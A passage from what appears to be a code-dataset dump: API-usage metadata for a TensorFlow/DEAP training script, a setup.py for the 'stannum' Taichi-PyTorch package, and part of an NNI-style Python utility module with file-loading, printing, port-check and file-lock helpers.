"line_number": 157, "usage_type": "name"}, {"api_name": "deap.gp.cxOnePoint", "line_number": 166, "usage_type": "argument"}, {"api_name": "deap.gp.mutShrink", "line_number": 167, "usage_type": "argument"}, {"api_name": "deap.gp.staticLimit", "line_number": 171, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 171, "usage_type": "call"}, {"api_name": "deap.gp.staticLimit", "line_number": 172, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 172, "usage_type": "call"}, {"api_name": "deap.tools.selRoulette", "line_number": 177, "usage_type": "attribute"}, {"api_name": "deap.tools", "line_number": 177, "usage_type": "name"}, {"api_name": "deap.tools.Statistics", "line_number": 182, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 182, "usage_type": "name"}, {"api_name": "numpy.around", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 186, "usage_type": "call"}, {"api_name": "deap.tools.HallOfFame", "line_number": 190, "usage_type": "call"}, {"api_name": "deap.tools", "line_number": 190, "usage_type": "name"}, {"api_name": "data.Cifar10", "line_number": 198, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 203, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Subset", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 204, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 208, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveSet", "line_number": 214, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree", "line_number": 231, "usage_type": "call"}, {"api_name": "deap.gp.genGrow", "line_number": 231, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree.from_string", "line_number": 240, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree", "line_number": 240, "usage_type": "name"}, {"api_name": "deap.gp.PrimitiveTree.from_string", "line_number": 241, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree", "line_number": 241, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 246, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 246, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 247, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 247, "usage_type": "name"}, {"api_name": "deap.gp.PrimitiveTree.from_string", "line_number": 252, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree", "line_number": 252, "usage_type": "name"}, {"api_name": "deap.creator.Individual", "line_number": 254, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 254, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.keras.backend.clear_session", "line_number": 261, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.keras", "line_number": 261, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 261, "usage_type": "name"}, {"api_name": "deap.gp.PrimitiveTree.from_string", "line_number": 264, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree", "line_number": 264, "usage_type": "name"}, {"api_name": "deap.gp.compile", "line_number": 265, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 274, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 274, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 284, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree.from_string", "line_number": 285, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree", "line_number": 285, "usage_type": "name"}, {"api_name": "deap.gp.PrimitiveSet", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 296, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 297, "usage_type": "call"}, {"api_name": "deap.gp.PrimitiveTree", "line_number": 303, "usage_type": "call"}, {"api_name": "deap.gp.genFull", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 315, "usage_type": "attribute"}, {"api_name": "deap.creator.Individual", "line_number": 324, "usage_type": "call"}, {"api_name": "deap.creator", "line_number": 324, "usage_type": "name"}, {"api_name": "deap.algorithms.eaSimple", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 341, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 347, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 347, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 361, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 362, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 362, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 365, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Summary.Image", "line_number": 369, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Summary", "line_number": 369, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 369, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.Summary.Value", "line_number": 378, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Summary", "line_number": 378, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 378, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.Summary", "line_number": 379, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 379, "usage_type": "name"}, {"api_name": "tensorflow.core.util.event_pb2.Event", "line_number": 380, "usage_type": "call"}, {"api_name": "tensorflow.core.util.event_pb2", "line_number": 380, "usage_type": "name"}, {"api_name": "numpy.clip", "line_number": 387, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 389, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 389, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 391, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 391, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.zeros", "line_number": 420, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 420, "usage_type": "name"}, {"api_name": "utils.ReplayBuffer", "line_number": 443, "usage_type": "call"}, {"api_name": "data.numpy", "line_number": 457, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 463, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 463, "usage_type": "attribute"}, {"api_name": "data.shape", "line_number": 463, "usage_type": "attribute"}, {"api_name": "numpy.random.beta", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 464, "usage_type": "attribute"}, {"api_name": "data.shape", "line_number": 464, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 474, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 474, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 506, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 507, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 513, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 518, "usage_type": "call"}, {"api_name": "horovod.tensorflow.rank", "line_number": 521, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 521, "usage_type": "name"}, {"api_name": "horovod.tensorflow.rank", "line_number": 527, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 527, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 530, "usage_type": "call"}, {"api_name": "os.path", "line_number": 530, "usage_type": "name"}, {"api_name": "horovod.tensorflow.rank", "line_number": 535, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 535, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 546, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 570, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 570, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 583, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 583, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 586, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 586, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 590, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 590, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 590, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 592, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 593, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 593, "usage_type": "attribute"}, {"api_name": "data.numpy", "line_number": 607, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 616, "usage_type": "call"}, {"api_name": "inception.get_inception_score", "line_number": 624, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 637, "usage_type": "call"}, {"api_name": "os.path", "line_number": 637, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 647, "usage_type": "call"}, {"api_name": "os.path", "line_number": 647, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 672, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 672, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 673, "usage_type": "call"}, {"api_name": "data.numpy", "line_number": 679, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 697, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 700, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 707, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 734, "usage_type": "call"}, {"api_name": "data.numpy", "line_number": 742, "usage_type": "call"}, {"api_name": "inception.get_inception_score", "line_number": 757, "usage_type": "call"}, {"api_name": "models.ResNet32", "line_number": 766, "usage_type": "call"}, {"api_name": "models.ResNet32Large", "line_number": 772, "usage_type": "call"}, {"api_name": "models.ResNet32Larger", "line_number": 779, "usage_type": "call"}, {"api_name": "models.ResNet32Wider", "line_number": 785, "usage_type": "call"}, {"api_name": "models.MnistNet", "line_number": 791, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 798, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 798, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.int32", "line_number": 798, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 800, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 800, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 800, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 801, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 801, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 801, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 802, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 802, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 802, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 803, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 803, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 803, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.split", "line_number": 805, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 805, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.split", "line_number": 806, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 806, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.split", "line_number": 807, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 807, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.split", "line_number": 808, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 808, "usage_type": "name"}, {"api_name": "custom_adam.AdamOptimizer", "line_number": 814, "usage_type": "call"}, {"api_name": "horovod.tensorflow.DistributedOptimizer", "line_number": 815, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 815, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.Variable", "line_number": 820, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 820, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.convert_to_tensor", "line_number": 821, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 821, "usage_type": "name"}, {"api_name": "numpy.reshape", "line_number": 822, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 823, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 823, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 825, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 825, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 827, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 827, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.tile", "line_number": 828, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 828, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reshape", "line_number": 829, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 829, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reshape", "line_number": 831, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 831, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reshape", "line_number": 838, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 838, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_logsumexp", "line_number": 839, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 839, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.random_uniform", "line_number": 841, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 841, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.shape", "line_number": 841, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.argmax", "line_number": 842, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 842, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.log", "line_number": 843, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 843, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.one_hot", "line_number": 844, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 844, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 844, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.Print", "line_number": 845, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 845, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.concat", "line_number": 847, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 847, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.concat", "line_number": 855, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 855, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.stop_gradient", "line_number": 865, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 865, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.zeros", "line_number": 867, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 867, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.constant", "line_number": 869, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 869, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.less", "line_number": 870, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 870, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.random_normal", "line_number": 873, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 873, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.shape", "line_number": 873, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.concat", "line_number": 877, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 877, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.gradients", "line_number": 887, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 887, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.clip_by_norm", "line_number": 895, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 895, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.clip_by_value", "line_number": 897, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 897, "usage_type": "name"}, {"api_name": "hmc.hmc", "line_number": 910, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.clip_by_value", "line_number": 915, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 915, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.while_loop", "line_number": 921, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 921, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.gradients", "line_number": 925, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 925, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.stop_gradient", "line_number": 930, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 930, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 941, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 941, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.abs", "line_number": 942, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 942, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.shape", "line_number": 942, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.reduce_sum", "line_number": 956, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 956, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_sum", "line_number": 957, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 957, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_sum", "line_number": 958, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 958, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.math.log", "line_number": 959, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.math", "line_number": 959, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 959, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.zeros", "line_number": 961, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 961, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_min", "line_number": 969, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 969, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.stop_gradient", "line_number": 970, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 970, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.exp", "line_number": 970, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.stop_gradient", "line_number": 971, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 971, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_sum", "line_number": 971, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 972, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 972, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_sum", "line_number": 974, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 974, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 976, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 976, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 977, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 977, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_sum", "line_number": 978, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 978, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.nn.softplus", "line_number": 981, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.nn", "line_number": 981, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 981, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 983, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 983, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 986, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 986, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 989, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 989, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.square", "line_number": 989, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.zeros", "line_number": 1019, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 1019, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.zeros", "line_number": 1020, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 1020, "usage_type": "name"}, {"api_name": "utils.average_gradients", "line_number": 1030, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.ConfigProto", "line_number": 1034, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 1034, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 1039, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 1039, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.train.Saver", "line_number": 1040, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.train", "line_number": 1040, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 1040, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.trainable_variables", "line_number": 1043, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 1043, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.global_variables_initializer", "line_number": 1052, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 1052, "usage_type": "name"}, {"api_name": "horovod.tensorflow.rank", "line_number": 1056, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 1056, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1057, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1057, "usage_type": "name"}, {"api_name": "utils.optimistic_restore", "line_number": 1060, "usage_type": "call"}, {"api_name": "horovod.tensorflow.broadcast_global_variables", "line_number": 1062, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 1062, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.nn", "line_number": 1067, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 1067, "usage_type": "name"}, {"api_name": "horovod.tensorflow.local_rank", "line_number": 1068, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 1068, "usage_type": "name"}, {"api_name": "horovod.tensorflow.size", "line_number": 1068, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1069, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1069, "usage_type": "name"}, {"api_name": "horovod.tensorflow.rank", "line_number": 1070, "usage_type": "call"}, {"api_name": "horovod.tensorflow", "line_number": 1070, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 1071, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1071, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 1072, "usage_type": "call"}, {"api_name": "baselines.logger.TensorBoardOutputFormat", "line_number": 1073, "usage_type": "call"}, {"api_name": "tensorflow.keras.activations.elu", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.gelu", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.linear", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.relu", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.selu", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.sigmoid", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.softplus", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.swish", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.keras.activations.tanh", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.math.atan", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.math.cos", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.math.erf", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.math.sin", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.math.sqrt", "line_number": 1108, "usage_type": "name"}, {"api_name": "tensorflow.math.maximum", "line_number": 1109, "usage_type": "name"}, {"api_name": "tensorflow.math.minimum", "line_number": 1109, "usage_type": "name"}, {"api_name": "tensorflow.math.add", "line_number": 1109, "usage_type": "name"}, {"api_name": "tensorflow.math.subtract", "line_number": 1109, "usage_type": "name"}]} {"seq_id": "24832268767", "text": "import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"stannum\",\n version=\"0.9.1\",\n author=\"Feng Liang\",\n author_email=\"feng.liang@kaust.edu.sa\",\n description=\"Fusing Taichi into PyTorch\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/ifsheldon/stannum\",\n project_urls={\n \"Bug Tracker\": \"https://github.com/ifsheldon/stannum/issues\",\n },\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n package_dir={\"\": \"src\"},\n packages=setuptools.find_packages(where=\"src\"),\n python_requires=\">=3.6\",\n)\n", "repo_name": "ifsheldon/stannum", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 120, "dataset": "github-code", "pt": "7", "api": [{"api_name": "setuptools.setup", "line_number": 6, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 24, "usage_type": "call"}]} {"seq_id": "21008423010", "text": "import os\nimport sys\nimport json\nimport tempfile\nimport time\nimport socket\nimport string\nimport random\nimport glob\nfrom colorama import Fore\nimport filelock\nimport psutil\nimport yaml\n\nfrom .constants import ERROR_INFO, NORMAL_INFO, WARNING_INFO\n\ndef get_yml_content(file_path):\n '''Load yaml file content'''\n try:\n with open(file_path, 'r', encoding='utf_8') as file:\n return yaml.safe_load(file)\n except yaml.scanner.ScannerError as err:\n print_error('yaml file format error!')\n print_error(err)\n exit(1)\n except Exception as exception:\n print_error(exception)\n exit(1)\n\ndef get_json_content(file_path):\n '''Load json file content'''\n try:\n with open(file_path, 'r') as file:\n return json.load(file)\n except TypeError as err:\n print_error('json file format error!')\n print_error(err)\n return None\n\n\ndef print_error(*content):\n '''Print error information to screen'''\n print(Fore.RED + ERROR_INFO + ' '.join([str(c) for c in content]) + Fore.RESET)\n\ndef print_green(*content):\n '''Print information to screen in green'''\n print(Fore.GREEN + ' '.join([str(c) for c in content]) + Fore.RESET)\n\ndef print_normal(*content):\n '''Print error information to screen'''\n print(NORMAL_INFO, *content)\n\ndef print_warning(*content):\n '''Print warning information to screen'''\n print(Fore.YELLOW + WARNING_INFO + ' '.join([str(c) for c in content]) + Fore.RESET)\n\ndef detect_process(pid):\n '''Detect if a process is alive'''\n try:\n process = psutil.Process(pid)\n return process.is_running()\n except:\n return False\n\ndef detect_port(port):\n '''Detect if the port is used'''\n socket_test = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n socket_test.connect(('127.0.0.1', int(port)))\n socket_test.close()\n return True\n except:\n return False\n\ndef get_user():\n if sys.platform == 'win32':\n return os.environ['USERNAME']\n else:\n return os.environ['USER']\n\ndef generate_temp_dir():\n '''generate a temp folder'''\n def generate_folder_name():\n return os.path.join(tempfile.gettempdir(), 'nni', ''.join(random.sample(string.ascii_letters + string.digits, 8)))\n temp_dir = generate_folder_name()\n while os.path.exists(temp_dir):\n temp_dir = generate_folder_name()\n os.makedirs(temp_dir)\n return temp_dir\n\nclass SimplePreemptiveLock(filelock.SoftFileLock):\n '''this is a lock support check lock expiration, if you do not need check expiration, you can use SoftFileLock'''\n def __init__(self, lock_file, stale=-1):\n super(__class__, self).__init__(lock_file, timeout=-1)\n\n # FIXME: hack\n if not hasattr(self, '_lock_file'):\n self._lock_file = self.lock_file\n\n self._lock_file_name = '{}.{}'.format(self._lock_file, os.getpid())\n self._stale = stale\n\n def _acquire(self):\n open_mode = os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_TRUNC\n try:\n lock_file_names = glob.glob(self._lock_file + '.*')\n for file_name in lock_file_names:\n if os.path.exists(file_name) and (self._stale < 0 or time.time() - os.stat(file_name).st_mtime < self._stale):\n return None\n fd = os.open(self._lock_file_name, open_mode)\n except (IOError, OSError):\n pass\n else:\n self._lock_file_fd = fd\n return None\n\n def _release(self):\n os.close(self._lock_file_fd)\n self._lock_file_fd = None\n try:\n os.remove(self._lock_file_name)\n except 